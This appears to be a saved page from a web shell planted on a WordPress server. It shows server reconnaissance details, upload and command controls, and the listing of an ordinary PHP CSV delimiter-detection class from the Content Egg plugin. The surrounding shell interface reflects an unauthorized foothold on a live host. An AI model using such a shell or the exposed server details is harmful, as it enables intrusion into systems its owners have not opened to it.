403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.216.246
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/content-egg/application/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/content-egg/application/helpers/CsvSettingsDetector.php
<?php

namespace ContentEgg\application\helpers;

use function ContentEgg\prnx;

defined('\ABSPATH') || exit;

/**
 * CsvSettingsDetector class file
 *
 * @author keywordrush.com <support@keywordrush.com>
 * @link https://www.keywordrush.com
 * @copyright Copyright &copy; 2025 keywordrush.com
 *
 */

/**
 * CSV settings detector that:
 *  - Prefers TABs if they appear at all and parsing looks sane (even if tabs are few)
 *  - Scores delimiters by consistency across lines (low variance) and how many lines parse into >= 2 fields
 *  - Chooses the best enclosure (" or ') per delimiter
 *
 * Usage:
 *   $detector = new CsvSettingsDetector();
 *   $settings = $detector->detect('/path/to/file.csv');
 *   // $settings = ['delimiter' => "\t", 'enclosure' => '"'];
 */
class CsvSettingsDetector
{
	/** @var string[] */
	private array $candidateDelimiters;

	/** @var string[] */
	private array $candidateEnclosures;

	private int $maxSampleLines;
	private bool $preferTabs;

	/**
	 * @param string[] $candidateDelimiters
	 * @param string[] $candidateEnclosures
	 */
	public function __construct(
		array $candidateDelimiters = ["\t", ";", ",", "|"],
		array $candidateEnclosures = ['"', "'"],
		int $maxSampleLines = 50,
		bool $preferTabs = true
	)
	{
		$this->candidateDelimiters = $candidateDelimiters;
		$this->candidateEnclosures = $candidateEnclosures;
		$this->maxSampleLines      = max(1, $maxSampleLines);
		$this->preferTabs          = $preferTabs;
	}

	/**
	 * Detect best delimiter & enclosure for a CSV-like file path.
	 * Returns ['delimiter' => string, 'enclosure' => string]
	 */
	public function detect(string $filePath): array
	{
		$lines = $this->readSampleLines($filePath, $this->maxSampleLines);
		if (empty($lines))
		{
			// Fallback
			return ['delimiter' => ',', 'enclosure' => '"'];
		}

		// --- Fast path for TABs (prefer even if scarce) ---
		if ($this->preferTabs && $this->hasChar($lines, "\t"))
		{
			$tabStats = $this->scoreDelimiter($lines, "\t", $this->candidateEnclosures);
			$minLinesForOk = max(2, (int)ceil(count($lines) * 0.5));
			if ($tabStats['median'] >= 2 && $tabStats['lines_ge2'] >= $minLinesForOk)
			{
				return ['delimiter' => "\t", 'enclosure' => $tabStats['best_enclosure']];
			}
		}

		// --- Score all candidates; pick the highest ---
		$best = [
			'score' => -INF,
			'delimiter' => ',',
			'enclosure' => '"',
		];

		foreach ($this->candidateDelimiters as $d)
		{
			$s = $this->scoreDelimiter($lines, $d, $this->candidateEnclosures);

			// Small bias toward TABs even without the fast-path
			if ($d === "\t")
			{
				$s['score'] += 1.0;
			}

			if ($s['score'] > $best['score'])
			{
				$best = [
					'score' => $s['score'],
					'delimiter' => $d,
					'enclosure' => $s['best_enclosure'],
				];
			}
		}

		return ['delimiter' => $best['delimiter'], 'enclosure' => $best['enclosure']];
	}

	// ----------------- Internals -----------------

	/** Read up to $max CSV *records* (newline-safe), supporting " and ' as enclosures. */
	private function readSampleLines(string $filePath, int $max): array
	{
		$h = @fopen($filePath, 'r');
		if (!$h)
		{
			return [];
		}

		$out   = [];
		$first = true;
		$buf   = '';

		// Try both enclosures; prefer " then '
		$enclosures = ['"', "'"];

		while (!feof($h) && count($out) < $max)
		{
			$chunk = fgets($h);
			if ($chunk === false)
			{
				break;
			}
			$buf .= $chunk;

			$matchedEnc = null;
			if ($this->csvRecordIsCompleteMulti($buf, $enclosures, $matchedEnc))
			{
				$record = rtrim($buf, "\r\n");

				if ($first)
				{
					$first = false;
					// Remove UTF-8 BOM if present
					$record = preg_replace('/^\xEF\xBB\xBF/u', '', $record);
				}

				if ($record !== '')
				{
					$out[] = $record;
				}

				$buf = '';
			}
		}

		if ($buf !== '' && count($out) < $max)
		{
			$matchedEnc = null;
			if ($this->csvRecordIsCompleteMulti($buf, $enclosures, $matchedEnc))
			{
				$record = rtrim($buf, "\r\n");
				if ($first)
				{
					$record = preg_replace('/^\xEF\xBB\xBF/u', '', $record);
				}
				if ($record !== '')
				{
					$out[] = $record;
				}
			}
		}

		fclose($h);
		return $out;
	}

	/**
	 * Returns true if $s ends outside quotes for at least one of the given enclosures.
	 * Sets $matchedEnc to the enclosure that appears balanced (prefers the first that actually appears).
	 */
	private function csvRecordIsCompleteMulti(string $s, array $enclosures = ['"', "'"], ?string &$matchedEnc = null): bool
	{
		$hasAnyQuote = false;
		foreach ($enclosures as $enc)
		{
			if (strpos($s, $enc) !== false)
			{
				$hasAnyQuote = true;
				break;
			}
		}

		foreach ($enclosures as $enc)
		{
			// Remove doubled quotes ("" or '') which are escaped enclosures
			$withoutEscaped = str_replace($enc . $enc, '', $s);
			$balanced = (substr_count($withoutEscaped, $enc) % 2) === 0;

			// Prefer an enclosure that actually appears in the buffer
			if ($balanced && strpos($s, $enc) !== false)
			{
				$matchedEnc = $enc;
				return true;
			}
		}

		// If there are no quote chars at all, treat as balanced (unquoted CSV)
		if (!$hasAnyQuote)
		{
			$matchedEnc = $enclosures[0];
			return true;
		}

		return false;
	}

	/** Does any line contain the given character? */
	private function hasChar(array $lines, string $ch): bool
	{
		foreach ($lines as $l)
		{
			if (strpos($l, $ch) !== false)
			{
				return true;
			}
		}
		return false;
	}

	/**
	 * Score a delimiter across possible enclosures.
	 * Returns:
	 *  [
	 *    'score' => float,
	 *    'best_enclosure' => string,
	 *    'median' => float,
	 *    'lines_ge2' => int
	 *  ]
	 */
	private function scoreDelimiter(array $lines, string $delimiter, array $enclosures): array
	{
		$best = [
			'score' => -INF,
			'best_enclosure' => '"',
			'median' => 1.0,
			'lines_ge2' => 0,
		];

		foreach ($enclosures as $enc)
		{
			$counts   = [];
			$lines_ge2 = 0;

			foreach ($lines as $line)
			{
				// str_getcsv is quote-aware
				$fields = str_getcsv($line, $delimiter, $enc);
				$c = is_array($fields) ? count($fields) : 1;
				$counts[] = $c;
				if ($c >= 2)
				{
					$lines_ge2++;
				}
			}

			$median = $this->median($counts);
			$stdev  = $this->stdev($counts);
			$ones   = count($counts) - $lines_ge2;

			// Scoring:
			//  + Reward many lines that split into >= 2 fields  -> 3.0 each
			//  + Reward higher median field count (capped)      -> 1.0 * min(median, 20)
			//  - Penalize high variance (inconsistent splits)   -> -2.0 * stdev
			//  - Slight penalty for lines stuck at 1 field      -> -0.25 * ones
			$score = (3.0 * $lines_ge2) + (1.0 * min($median, 20)) - (2.0 * $stdev) - (0.25 * $ones);

			if ($score > $best['score'])
			{
				$best = [
					'score' => $score,
					'best_enclosure' => $enc,
					'median' => $median,
					'lines_ge2' => $lines_ge2,
				];
			}
		}

		return $best;
	}

	/** Median of numeric array. */
	private function median(array $values): float
	{
		if (empty($values))
		{
			return 0.0;
		}
		sort($values);
		$n   = count($values);
		$mid = (int) floor(($n - 1) / 2);
		return ($n % 2)
			? (float) $values[$mid]
			: (($values[$mid] + $values[$mid + 1]) / 2.0);
	}

	/** Sample standard deviation (n-1). */
	private function stdev(array $values): float
	{
		$n = count($values);
		if ($n <= 1)
		{
			return 0.0;
		}
		$mean  = array_sum($values) / $n;
		$sumSq = 0.0;
		foreach ($values as $v)
		{
			$sumSq += ($v - $mean) * ($v - $mean);
		}
		return sqrt($sumSq / ($n - 1));
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit